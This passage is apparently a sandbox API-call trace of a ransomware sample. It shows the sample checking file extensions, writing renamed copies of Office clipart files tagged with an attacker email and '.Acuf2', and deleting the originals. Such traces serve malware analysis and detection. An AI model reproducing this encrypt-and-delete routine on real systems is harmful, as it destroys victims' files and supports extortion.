	[0262.566] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0262.566] lstrlenW (lpString=".7z") returned 3
	[0262.566] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0262.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63
	[0262.566] lstrlenW (lpString=".dbf") returned 4
	[0262.566] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0262.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63
	[0262.566] lstrlenW (lpString=".1cd") returned 4
	[0262.567] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0262.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 63
	[0262.567] lstrlenW (lpString=".jpg") returned 4
	[0262.567] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0262.567] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.567] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0262.568] GetLastError () returned 0x0
	[0262.568] ReadFile (in: hFile=0x270, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x2168, lpOverlapped=0x0) returned 1
	[0262.569] WriteFile (in: hFile=0x32c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x2170, lpOverlapped=0x0) returned 1
	[0262.570] ReadFile (in: hFile=0x270, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.570] WriteFile (in: hFile=0x32c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0262.570] SetEndOfFile (hFile=0x32c) returned 1
	[0262.570] CloseHandle (hObject=0x32c) returned 1
	[0262.570] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.570] SetEndOfFile (hFile=0x270) returned 1
	[0262.573] CloseHandle (hObject=0x270) returned 1
	[0262.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.573] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf")) returned 1
	[0262.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63
	[0262.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63
	[0262.573] lstrlenW (lpString=".doc") returned 4
	[0262.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0262.573] lstrlenW (lpString=".docx") returned 5
	[0262.573] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0262.573] lstrlenW (lpString=".pdf") returned 4
	[0262.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0262.573] lstrlenW (lpString=".xls") returned 4
	[0262.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0262.573] lstrlenW (lpString=".xlsx") returned 5
	[0262.573] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0262.574] lstrlenW (lpString=".ppt") returned 4
	[0262.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0262.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63
	[0262.574] lstrlenW (lpString=".zip") returned 4
	[0262.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0262.574] lstrlenW (lpString=".rar") returned 4
	[0262.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0262.574] lstrlenW (lpString=".bz2") returned 4
	[0262.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0262.574] lstrlenW (lpString=".7z") returned 3
	[0262.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0262.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63
	[0262.574] lstrlenW (lpString=".dbf") returned 4
	[0262.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0262.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63
	[0262.574] lstrlenW (lpString=".1cd") returned 4
	[0262.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0262.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 63
	[0262.574] lstrlenW (lpString=".jpg") returned 4
	[0262.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0262.575] GetFileSizeEx (in: hFile=0x270, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=8424) returned 1
	[0262.575] CloseHandle (hObject=0x270) returned 1
	[0262.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf")) returned 0x20
	[0262.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x270
	[0262.575] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.575] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0262.575] GetLastError () returned 0x0
	[0262.575] ReadFile (in: hFile=0x270, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x20e8, lpOverlapped=0x0) returned 1
	[0262.577] WriteFile (in: hFile=0x32c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x20f0, lpOverlapped=0x0) returned 1
	[0262.578] ReadFile (in: hFile=0x270, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.578] WriteFile (in: hFile=0x32c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0262.578] SetEndOfFile (hFile=0x32c) returned 1
	[0262.578] CloseHandle (hObject=0x32c) returned 1
	[0262.578] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.578] SetEndOfFile (hFile=0x270) returned 1
	[0262.580] CloseHandle (hObject=0x270) returned 1
	[0262.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.581] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf")) returned 1
	[0262.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63
	[0262.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63
	[0262.581] lstrlenW (lpString=".doc") returned 4
	[0262.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0262.581] lstrlenW (lpString=".docx") returned 5
	[0262.581] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0262.581] lstrlenW (lpString=".pdf") returned 4
	[0262.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0262.581] lstrlenW (lpString=".xls") returned 4
	[0262.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0262.581] lstrlenW (lpString=".xlsx") returned 5
	[0262.581] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0262.581] lstrlenW (lpString=".ppt") returned 4
	[0262.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0262.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63
	[0262.581] lstrlenW (lpString=".zip") returned 4
	[0262.581] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0262.581] lstrlenW (lpString=".rar") returned 4
	[0262.581] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0262.581] lstrlenW (lpString=".bz2") returned 4
	[0262.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0262.582] lstrlenW (lpString=".7z") returned 3
	[0262.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0262.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63
	[0262.582] lstrlenW (lpString=".dbf") returned 4
	[0262.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0262.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63
	[0262.582] lstrlenW (lpString=".1cd") returned 4
	[0262.582] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0262.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63
	[0262.582] lstrlenW (lpString=".jpg") returned 4
	[0262.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0262.582] GetFileSizeEx (in: hFile=0x270, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=10816) returned 1
	[0262.582] CloseHandle (hObject=0x270) returned 1
	[0262.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf")) returned 0x20
	[0262.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x270
	[0262.583] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.583] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0262.583] GetLastError () returned 0x0
	[0262.583] ReadFile (in: hFile=0x270, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x2a40, lpOverlapped=0x0) returned 1
	[0262.585] WriteFile (in: hFile=0x32c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x2a50, lpOverlapped=0x0) returned 1
	[0262.585] ReadFile (in: hFile=0x270, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.585] WriteFile (in: hFile=0x32c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0262.586] SetEndOfFile (hFile=0x32c) returned 1
	[0262.586] CloseHandle (hObject=0x32c) returned 1
	[0262.586] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.586] SetEndOfFile (hFile=0x270) returned 1
	[0262.588] CloseHandle (hObject=0x270) returned 1
	[0262.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.588] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf")) returned 1
	[0262.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63
	[0262.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63
	[0262.588] lstrlenW (lpString=".doc") returned 4
	[0262.588] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0262.588] lstrlenW (lpString=".docx") returned 5
	[0262.588] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0262.588] lstrlenW (lpString=".pdf") returned 4
	[0262.588] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0262.588] lstrlenW (lpString=".xls") returned 4
	[0262.588] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0262.589] lstrlenW (lpString=".xlsx") returned 5
	[0262.589] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0262.589] lstrlenW (lpString=".ppt") returned 4
	[0262.589] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0262.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63
	[0262.589] lstrlenW (lpString=".zip") returned 4
	[0262.589] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0262.589] lstrlenW (lpString=".rar") returned 4
	[0262.589] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0262.589] lstrlenW (lpString=".bz2") returned 4
	[0262.589] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0262.589] lstrlenW (lpString=".7z") returned 3
	[0262.589] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0262.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63
	[0262.589] lstrlenW (lpString=".dbf") returned 4
	[0262.589] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0262.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63
	[0262.589] lstrlenW (lpString=".1cd") returned 4
	[0262.589] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0262.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63
	[0262.589] lstrlenW (lpString=".jpg") returned 4
	[0262.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0262.590] GetFileSizeEx (in: hFile=0x270, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=7878) returned 1
	[0262.590] CloseHandle (hObject=0x270) returned 1
	[0262.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf")) returned 0x20
	[0262.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x270
	[0262.590] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.590] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0262.590] GetLastError () returned 0x0
	[0262.590] ReadFile (in: hFile=0x270, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x1ec6, lpOverlapped=0x0) returned 1
	[0262.594] WriteFile (in: hFile=0x32c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x1ed0, lpOverlapped=0x0) returned 1
	[0262.594] ReadFile (in: hFile=0x270, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.594] WriteFile (in: hFile=0x32c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0262.595] SetEndOfFile (hFile=0x32c) returned 1
	[0262.595] CloseHandle (hObject=0x32c) returned 1
	[0262.595] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.595] SetEndOfFile (hFile=0x270) returned 1
	[0262.597] CloseHandle (hObject=0x270) returned 1
	[0262.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.597] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf")) returned 1
	[0262.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63
	[0262.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63
	[0262.597] lstrlenW (lpString=".doc") returned 4
	[0262.597] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0262.598] lstrlenW (lpString=".docx") returned 5
	[0262.598] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0262.598] lstrlenW (lpString=".pdf") returned 4
	[0262.598] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0262.598] lstrlenW (lpString=".xls") returned 4
	[0262.598] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0262.598] lstrlenW (lpString=".xlsx") returned 5
	[0262.598] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0262.598] lstrlenW (lpString=".ppt") returned 4
	[0262.598] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0262.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63
	[0262.598] lstrlenW (lpString=".zip") returned 4
	[0262.598] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0262.598] lstrlenW (lpString=".rar") returned 4
	[0262.598] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0262.598] lstrlenW (lpString=".bz2") returned 4
	[0262.598] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0262.598] lstrlenW (lpString=".7z") returned 3
	[0262.598] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0262.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63
	[0262.598] lstrlenW (lpString=".dbf") returned 4
	[0262.598] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0262.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63
	[0262.598] lstrlenW (lpString=".1cd") returned 4
	[0262.598] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0262.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63
	[0262.598] lstrlenW (lpString=".jpg") returned 4
	[0262.598] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0262.747] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=11002) returned 1
	[0262.747] CloseHandle (hObject=0x328) returned 1
	[0262.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf")) returned 0x20
	[0262.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.900] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.901] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0262.901] GetLastError () returned 0x0
	[0262.901] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x2afa, lpOverlapped=0x0) returned 1
	[0262.906] WriteFile (in: hFile=0x328, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x2b00, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x2b00, lpOverlapped=0x0) returned 1
	[0262.907] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
